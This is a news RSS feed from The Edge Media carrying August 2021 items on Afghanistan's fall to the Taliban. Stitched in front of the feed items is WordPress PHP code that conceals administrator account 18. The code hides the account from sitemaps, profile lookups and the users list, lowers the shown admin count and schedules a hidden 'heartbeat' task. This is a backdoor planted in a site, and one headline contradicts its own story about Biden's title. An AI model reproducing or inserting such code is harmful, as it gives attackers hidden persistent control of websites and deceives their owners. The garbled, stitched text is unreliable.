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    return $args;
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        return new WP_Error(
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            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

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        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

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        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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		<title>As Per Former Vice President Amrulla Saleh, Ashraf Ghani&#8217;s Escape Ruined Every Surviving Faith</title>
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					<description><![CDATA[<p>Former Afghan vice president Amrulla Saleh remarked on Thursday  that former President Ashraf Ghani&#8217;s departure was a mistake &#8220;a stain on our collective memory.” “Ghani&#8217;s escape ruined whatever positivity was left about his image,” he said in an exclusive interview with WION&#8217;s Palki Sharma &#8220;I am really sorry that he did not exhibit a sense [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/as-per-former-vice-president-amrulla-saleh-ashraf-ghanis-escape-ruined-every-surviving-faith">As Per Former Vice President Amrulla Saleh, Ashraf Ghani&#8217;s Escape Ruined Every Surviving Faith</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Former Afghan vice president Amrulla Saleh remarked on Thursday  that former President Ashraf Ghani&#8217;s departure was a mistake &#8220;a stain on our collective memory.” “Ghani&#8217;s escape ruined whatever positivity was left about his image,” he said in an exclusive interview with WION&#8217;s Palki Sharma &#8220;I am really sorry that he did not exhibit a sense of sacrifice and giving back to the country at the appropriate time.”</p>
<p>Even if Ghani had been imprisoned by Taliban miscreants, the former Afghan vice president reasoned, it would have served as a &#8220;rallying point&#8221; for Afghans. Ghani&#8217;s capture would have sparked international outrage, and things could have turned out differently.</p>
<p>The post <a href="https://theedgemedia.in/as-per-former-vice-president-amrulla-saleh-ashraf-ghanis-escape-ruined-every-surviving-faith">As Per Former Vice President Amrulla Saleh, Ashraf Ghani&#8217;s Escape Ruined Every Surviving Faith</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Afghans are Rushing to Flee the Taliban After Vice President Biden Confirmed the Airlift Deadline</title>
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		<pubDate>Wed, 25 Aug 2021 15:44:30 +0000</pubDate>
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					<description><![CDATA[<p>After President Joe Biden stated that US-led evacuations will end next week, Afghans faced an increasingly desperate race to flee life under the Taliban. Since August 14, more than 80,000 individuals have been evacuated, yet massive groups continue to gather outside Kabul airport, seeking to flee the prospect of retaliation and repression in Taliban-ruled Afghanistan. [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/afghans-are-rushing-to-flee-the-taliban-after-vice-president-biden-confirmed-the-airlift-deadline">Afghans are Rushing to Flee the Taliban After Vice President Biden Confirmed the Airlift Deadline</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>After President Joe Biden stated that US-led evacuations will end next week, Afghans faced an increasingly desperate race to flee life under the Taliban. Since August 14, more than 80,000 individuals have been evacuated, yet massive groups continue to gather outside Kabul airport, seeking to flee the prospect of retaliation and repression in Taliban-ruled Afghanistan.</p>
<p>Despite concerns from European allies that not all vulnerable Afghans would be able to leave by August 31, Biden stated Tuesday that the US would keep to its August 31 deadline to entirely withdraw its troops.</p>
<p>The post <a href="https://theedgemedia.in/afghans-are-rushing-to-flee-the-taliban-after-vice-president-biden-confirmed-the-airlift-deadline">Afghans are Rushing to Flee the Taliban After Vice President Biden Confirmed the Airlift Deadline</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Greece calls for a common EU response to the crisis</title>
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		<pubDate>Tue, 17 Aug 2021 11:44:39 +0000</pubDate>
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					<description><![CDATA[<p>Greece does not want to become the entry point into the European Union for Afghans fleeing the escalating conflict in their homeland, Migration Minister Notis Mitarachi said on Tuesday, calling for a common EU response to the crisis. Greece was on the frontline of Europe&#8217;s migration crisis in 2015, when nearly a million people fleeing [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/greece-calls-for-a-common-eu-response-to-the-crisis">Greece calls for a common EU response to the crisis</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Greece does not want to become the entry point into the European Union for Afghans fleeing the escalating conflict in their homeland, Migration Minister Notis Mitarachi said on Tuesday, calling for a common EU response to the crisis.</p>
<p>Greece was on the frontline of Europe&#8217;s migration crisis in 2015, when nearly a million people fleeing conflict in Syria, Iraq and Afghanistan landed on its islands, and like other EU member states, it is nervous that developments in Afghanistan could trigger a replay of that crisis.</p>
<p>&#8220;We are clearly saying that we will not and cannot be the gateway of Europe for the refugees and migrants who could try to come to the European Union,&#8221; Mitarachi told state television ERT.</p>
<p>&#8220;We cannot have millions of people leaving Afghanistan and coming to the European Union &#8230; and certainly not through Greece,&#8221; he said.</p>
<p>EU foreign ministers will hold a crisis meeting on Tuesday to discuss the fall of Afghanistan to the Taliban and Greece has requested that the issue is also discussed at a meeting of EU home affairs ministers on Wednesday.</p>
<p>The solution needs to be common, and it needs to be a European solution,&#8221; Mitarachi said. Unity between EU member states over whether to deport failed Afghan asylum-seekers crumbled last week.</p>
<p>(This story has not been edited by The Edge Media  staff and is auto-generated from a syndicated feed.)</p>
<p>The post <a href="https://theedgemedia.in/greece-calls-for-a-common-eu-response-to-the-crisis">Greece calls for a common EU response to the crisis</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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